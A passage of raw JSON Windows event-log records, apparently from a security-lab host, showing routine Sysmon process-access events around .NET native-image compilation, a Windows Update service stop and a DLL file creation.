ategory":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:00:21.885","SourceProcessGUID":"{90617006-422D-5F2D-0000-0010E7380900}","SourceProcessId":"4860","SourceThreadId":"4876","SourceImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe","TargetProcessGUID":"{90617006-4255-5F2D-0000-001073B40900}","TargetProcessId":"2964","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x103801","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2d42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+a4e6|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9ebd|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9c4b|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9b19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6d87|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2066|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+8b84|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6ad3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+69a3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+1f19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+8198|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1f42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1d64|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+277a|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+2708|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:00:22","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:00:21","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":6454,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:00:21.885\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010D5420000}\r\nSourceProcessId: 644\r\nSourceThreadId: 660\r\nSourceImage: C:\\Windows\\system32\\csrss.exe\r\nTargetProcessGUID: {90617006-4255-5F2D-0000-001073B40900}\r\nTargetProcessId: 2964\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:00:21.885","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010D5420000}","SourceProcessId":"644","SourceThreadId":"660","SourceImage":"C:\\Windows\\system32\\csrss.exe","TargetProcessGUID":"{90617006-4255-5F2D-0000-001073B40900}","TargetProcessId":"2964","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","EventReceivedTime":"2020-08-07 12:00:22","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:00:21","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":6455,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:00:21.885\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-4255-5F2D-0000-001073B40900}\r\nTargetProcessId: 2964\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:00:21.885","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-4255-5F2D-0000-001073B40900}","TargetProcessId":"2964","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:00:22","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:00:22","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":6456,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:00:22.197\r\nSourceProcessGUID: {90617006-422D-5F2D-0000-0010E7380900}\r\nSourceProcessId: 4860\r\nSourceThreadId: 4488\r\nSourceImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe\r\nTargetProcessGUID: {90617006-4256-5F2D-0000-00104FB80900}\r\nTargetProcessId: 3292\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x103801\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2d42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+a4e6|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9ebd|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9c4b|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9b19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+91db|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9168|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+8fc5|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:00:22.197","SourceProcessGUID":"{90617006-422D-5F2D-0000-0010E7380900}","SourceProcessId":"4860","SourceThreadId":"4488","SourceImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe","TargetProcessGUID":"{90617006-4256-5F2D-0000-00104FB80900}","TargetProcessId":"3292","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x103801","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2d42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+a4e6|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9ebd|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9c4b|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9b19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+91db|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9168|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+8fc5|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:00:22","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:00:22","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":6457,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:00:22.197\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010D5420000}\r\nSourceProcessId: 644\r\nSourceThreadId: 660\r\nSourceImage: C:\\Windows\\system32\\csrss.exe\r\nTargetProcessGUID: {90617006-4256-5F2D-0000-00104FB80900}\r\nTargetProcessId: 3292\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:00:22.197","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010D5420000}","SourceProcessId":"644","SourceThreadId":"660","SourceImage":"C:\\Windows\\system32\\csrss.exe","TargetProcessGUID":"{90617006-4256-5F2D-0000-00104FB80900}","TargetProcessId":"3292","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","EventReceivedTime":"2020-08-07 12:00:22","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:00:22","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":6458,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:00:22.213\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-4256-5F2D-0000-00104FB80900}\r\nTargetProcessId: 3292\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:00:22.213","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-4256-5F2D-0000-00104FB80900}","TargetProcessId":"3292","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:00:22","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:00:22","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9187343239835811840,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":7036,"SourceName":"Service Control Manager","ProviderGuid":"{555908D1-A6D7-4695-8E1E-26931D2012F4}","Version":0,"Task":0,"OpcodeValue":0,"RecordNumber":76855,"ProcessID":852,"ThreadID":1152,"Channel":"System","Message":"The Windows Update service entered the stopped state.","param1":"Windows Update","param2":"stopped","EventReceivedTime":"2020-08-07 12:00:22","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:00:22","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":11,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":2,"Task":11,"OpcodeValue":0,"RecordNumber":6459,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"File created:\r\nRuleName: DLL\r\nUtcTime: 2020-08-07 12:00:22.900\r\nProcessGuid: {90617006-4256-5F2D-0000-00104FB80900}\r\nProcessId: 3292\r\nImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nTargetFilename: C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\Temp\\cdc-0\\System.Runtime.Remoting.dll\r\nCreationUtcTime: 2020-08-07 12:00:22.900","Category":"File created (rule: FileCreate)","Opcode":"Info","RuleName":"DLL","UtcTime":"2020-08-07 12:00:22.900","ProcessGuid":"{90617006-4256-5F2D-0000-00104FB80900}","Image":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","TargetFilename":"C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\Temp\\cdc-0\\System.Runtime.Remoting.dll","CreationUtcTime":"2020-08-07 12:00:22.900","EventReceivedTime":"2020-08-07 12:00:24","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:00:22","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":6460,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:00:22.979\r\nSourceProcessGUID: {90617006-422D-5F2D-0000-0010E7380900}\r\nSourceProcessId: 4860\r\nSourceThreadId: 4876\r\nSourceImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe\r\nTargetProcessGUID: {90617006-4256-5F2D-0000-001025BE0900}\r\nTargetProcessId: 2228\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x103801\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2d42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+a4e6|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9ebd|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9c4b|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9b19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6d87|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2066|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+8b84|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6ad3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+69a3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+1f19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+8198|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1f42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1d64|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+277a|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+2708|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:00:22.979","SourceProcessGUID":"{90617006-422D-5F2D-0000-0010E7380900}","SourceProcessId":"4860","SourceThreadId":"4876","SourceImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe","TargetProcessGUID":"{90617006-4256-5F2D-0000-001025BE0900}","TargetProcessId":"2228","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x103801","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2d42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+a4e6|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9ebd|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9c4b|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9b19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6d87|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2066|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+8b84|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6ad3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+69a3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+1f19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+8198|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1f42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1d64|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+277a|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+2708|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:00:24","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:00:22","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":6461,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:00:22.979\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010D5420000}\r\nSourceProcessId: 644\r\nSourceThreadId: 760\r\nSourceImage: C:\\Windows\\system32\\csrss.exe\r\nTargetProcessGUID: {90617006-4256-5F2D-0000-001025BE0900}\r\nTargetProcessId: 2228\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:00:22.979","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010D5420000}","SourceProcessId":"644","SourceThreadId":"760","SourceImage":"C:\\Windows\\system32\\csrss.exe","TargetProcessGUID":"{90617006-4256-5F2D-0000-001025BE0900}","TargetProcessId":"2228","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","EventReceivedTime":"2020-08-07 12:00:24","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:00:23","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":6462,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:00:23.010\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-4256-5F2D-0000-001025BE0900}\r\nTargetProcessId: 2228\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: 